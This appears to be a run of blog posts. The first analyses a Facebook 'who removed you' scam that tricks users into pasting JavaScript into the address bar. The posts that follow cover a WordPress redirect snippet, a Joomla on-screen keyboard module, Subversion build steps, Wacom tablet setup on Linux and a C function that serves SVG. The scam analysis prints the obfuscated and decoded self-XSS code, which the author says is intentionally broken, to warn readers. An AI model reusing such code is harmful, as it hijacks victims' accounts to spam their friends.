Got a suggestion from a friend to a page called “Who Removed You” or “Get a free iWhatever” and clicked and found that it directs you to its summary page that asks you to copy-paste some code to your address bar. You did ?

This is as basic as social engineering goes. As you de-obfuscate the code:

javascript:var _0x8293=["\x69\x6E\x6E   ...     etc     ...   x65\x3E"];
var variables=[_0x8293[0],_0x8293[1],_0x8293[2],_0x8293[3]
,_0x8293[4],_0x8293[5],_0x8293[6],_0x8293[7],_0x8293[8],_0x8293[9],_0x8293[10],
_0x8293[11],_0x8293[12],_0x8293[13]];
void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true);
void ss[variables[9]](c);
void setTimeout(function (){fs[variables[10]]();} ,4000);
void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000);
void (document[variables[2]](variables[1])[variables[0]]=_0x8293[14]);

you get something like:

document.getElementById("app1153454353453_body").innerHTML = "<a id=\"suggest\" href=\"#\" ajaxify=\"/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=15345435345\ class=\" profile_action actionspro_a\" rel=\"dialog-post\">Suggest to Friends</a>";
var ss=document.getElementById("suggest");
var c=document.createEvent("MouseEvents");
c.initEvent("click",true,true);
void ss.dispatchEvent(c);
void setTimeout(function (){fs.select_all();} ,4000);
void setTimeout(function (){SocialGraphManager.submitDialog("sgm_invite_form","/ajax/social_graph/invite_dialog.php");} ,5000);
void (document.getElementById("app1153454353453_body").innerHTML="<iframe src=\"http:// whodeletedyou dot blogspot.com/p/click-here-to-find-out-how-to-know-who.html\" style=\"width: 800px; height: 600px;\" frameborder=0 scrolling=\"no\"></iframe>");

Note: I intentionally broke this sample.

The code makes a “suggest to friends” popup, selects them all and sends it – you have no idea what hapened – then it sends you to another spam site – often asking you to fill out a survey.

This is the kind of thing that wont happen to most Facebook users ( as the concept of copy/paste and address bar is way beyond most people – not to mention the hand coordination one has to have to select the code ), so don’t expect this kind of thing from your Mom. (unless she just mass suggests everything by herself anyway ). /rant

As for the guy that worried who removed him so much he just had to copy+paste: Don’t worry, you wont see me go.

In related news, there is no way to report these kind of issues to Facebook.

~copy&paste

add_action(‘login_form_register’, ‘redirectregister’);
function redirectregister(){wp_redirect(get_option(‘siteurl’) . ‘/bb/register.php’);}

add this where wordpress will find it, in your functions file or just any plugin.

So todays update is a dutch language file, thanks Chris

mod_joomkey.nl-NL

And once again for all the others:

• This module displays a on screen keyboard that attaches itself to all html text fields and input fields.
• To use it, you have to select one of those fields.
• You can place this module in any visible position
• It will use the local language, you may need to make a file with your locale (even if it is the same as standard English)
• As it looks at Joomla’s locale, it will work with JoomFish or similar..
• It wont work inside frames/iframes (use the firefox extension instead)
• You can make it do other stuff with the buttons (as in print whole words as in iphone’s .com button etc)

As most who use this module probably do so with a kiosk in mind, I would recommend the Firefox keyboard extension I built.

1.6 GHz Atom processor, 1GB ram,160gb HDD, a intel graphic card on a 10′ screen.
On-board 802.11n WLAN and a dongle for bluetooh, SD card reader, 3 USB 2.0 ports, VGA out, webcam, mic. Phew.

Enough of specifications, time for pics

http://picasaweb.google.com/rawdevelopement/612009

The language is based on the language of the currently viewed site/article. It comes with English, German and Slovenian keyboard but can be easily be fitted with any additional language. If you do create a language please send it to me so i can add it.

Download Module JoomKey 0.1.0

Tested on Firefox 3. Made in scope of the Institut-Oko Kiosk project.

(C) Marko Zabreznik

Well, in any case. This is how to do it yourself ( source ):

cd ~
mkdir src
cd ~/src
wget http://www.gtlib.gatech.edu/pub/apache/apr/apr-util-1.2.12.tar.gz
wget http://www.gtlib.gatech.edu/pub/apache/apr/apr-1.2.12.tar.gz
wget http://subversion.tigris.org/downloads/subversion-1.4.6.tar.gz
wget http://www.webdav.org/neon/neon-0.25.5.tar.gz
tar -xzf apr-util-1.2.12.tar.gz
tar -xzf apr-1.2.12.tar.gz
tar -xzf subversion-1.4.6.tar.gz
tar -xzf neon-0.25.5.tar.gz
cd ~/src/apr-1.2.12
./configure --prefix=$HOME LDFLAGS="-L/lib64"
make
make install
cd ~/src/apr-util-1.2.12
./configure --prefix=$HOME --with-apr=$HOME LDFLAGS="-L/lib64"
make
make install
cd ~/src/neon-0.25.5
./configure --enable-shared --prefix=$HOME LDFLAGS="-L/lib64"
make
make install
cd ~/src/subversion-1.4.6
./configure --prefix=$HOME --without-berkeley-db --with-zlib --with-ssl LDFLAGS="-L/lib64"
make
make install


I didnt even try running it on windows/mac before I plugged it into my ‘box running OpenSuse 11. First thing I notice: Its already working. Kindof.  It’s got relative tracking and the pad/buttons dont work.

How i got it running and some pics, after the jump.

http://picasaweb.google.com/rawdevelopement/Wacom

First of all, wacom packages were installed in opensuse by default, so not much action was needed there. I tried running the command line tool wacomcpl-exec to no avail. xsetwacom didn’t find anything. That only meant that the devices were not intialised properly in xorg.conf and i would have to find and set them myself.

After some poking around, I found wacdump ( included with wacom packages ) was the tool i needed. Since Bamboo Fun is a USB device, /dev/input/event* is where you will find it. Using wacdump i located it at /dev/input/event7. And then a quick look at http://linuxwacom.sourceforge.net/index.php/howto/inputdev to find out the proper way to configure xorg.

Section "InputDevice"
Driver "wacom"
Identifier "stylus"
Option "Device" "/dev/input/event7"
Option "Type" "stylus"
Option "USB" "on"
EndSection
Section "InputDevice"
Driver "wacom"
Identifier "eraser"
Option "Device" "/dev/input/event7"
Option "Type" "eraser"
Option "USB" "on"
EndSection
Section "InputDevice"
Driver "wacom"
Identifier "cursor"
Option "Device" "/dev/input/event7"
Option "Type" "cursor"
Option "USB" "on"
EndSection
Section "InputDevice"
Driver "wacom"
Identifier "pad"
Option "Device" "/dev/input/event7"
Option "Type" "pad"
Option "USB" "on"
EndSection


Changing the “Device” appropriately. After a quick X restart (CTRL ALT BACKSPACE), everything started working. Then for the final touches, I used wacomcpl-exec, that recognised the devices now, to change the rotation of the wheelpad, the buttons and sentitivity etc. I tried Bamboo in Inkscape, where i only had to enable the device in Input Devices under File.

Debriefing:

Things not working:

• Custom shortcuts on buttons, trough you can set them but find you will only get nice shortcuts to crash X.
• WheelPad works but doesn’t support the tap up/down feature like it does on windows. (probably software based)

Things one would wish to work better:

• Configuration. Not just of xorg but the tablet itself needs to be configurable in a stable easy GUI way.

All in all, well worth the effort.

/******************************************************************************
Description.: Send a complete HTTP response and a svg file
Input Value.: fildescriptor fd to send the answer to
Return Value: -
******************************************************************************/
void send_svg(int fd) {
unsigned char *frame=NULL;
int frame_size=0;
char buffer[BUFFER_SIZE] = {0};

if ( (frame = (unsigned char *)malloc(MAX_FRAME_SIZE)) == NULL ) {
fprintf(stderr, "not enough memory\n");
exit(EXIT_FAILURE);
}

/* wait for a fresh frame */
pthread_cond_wait(&pglobal->db_update, &pglobal->db);

/* read buffer */
frame_size = pglobal->size;
memcpy(frame, pglobal->buf, frame_size);
DBG("got frame (size: %d kB)\n", frame_size/1024);

pthread_mutex_unlock( &pglobal->db );

/* make file */
FILE *filesvg;
filesvg = fopen("/dev/shm/svgpipe", "w");
fwrite(frame, 1, frame_size, filesvg);

fclose(filesvg);
free(frame);

system("/usr/bin/convert /dev/shm/svgpipe /dev/shm/svgpipe.ppm");
system("/usr/bin/potrace -s /dev/shm/svgpipe.ppm");

/* response */
sprintf(buffer, "HTTP/1.0 200 OK\r\n" \
STD_HEADER \
"Content-type: image/svg+xml\r\n" \
"\r\n");
if( write(fd, buffer, strlen(buffer)) < 0 ) return;
/* read -> send file */

FILE *filesvg2;
filesvg2 = fopen("/dev/shm/svgpipe.svg", "r");
while (fgets(buffer,BUFFER_SIZE,filesvg2))
write(fd, buffer, strlen(buffer));
}

Link here.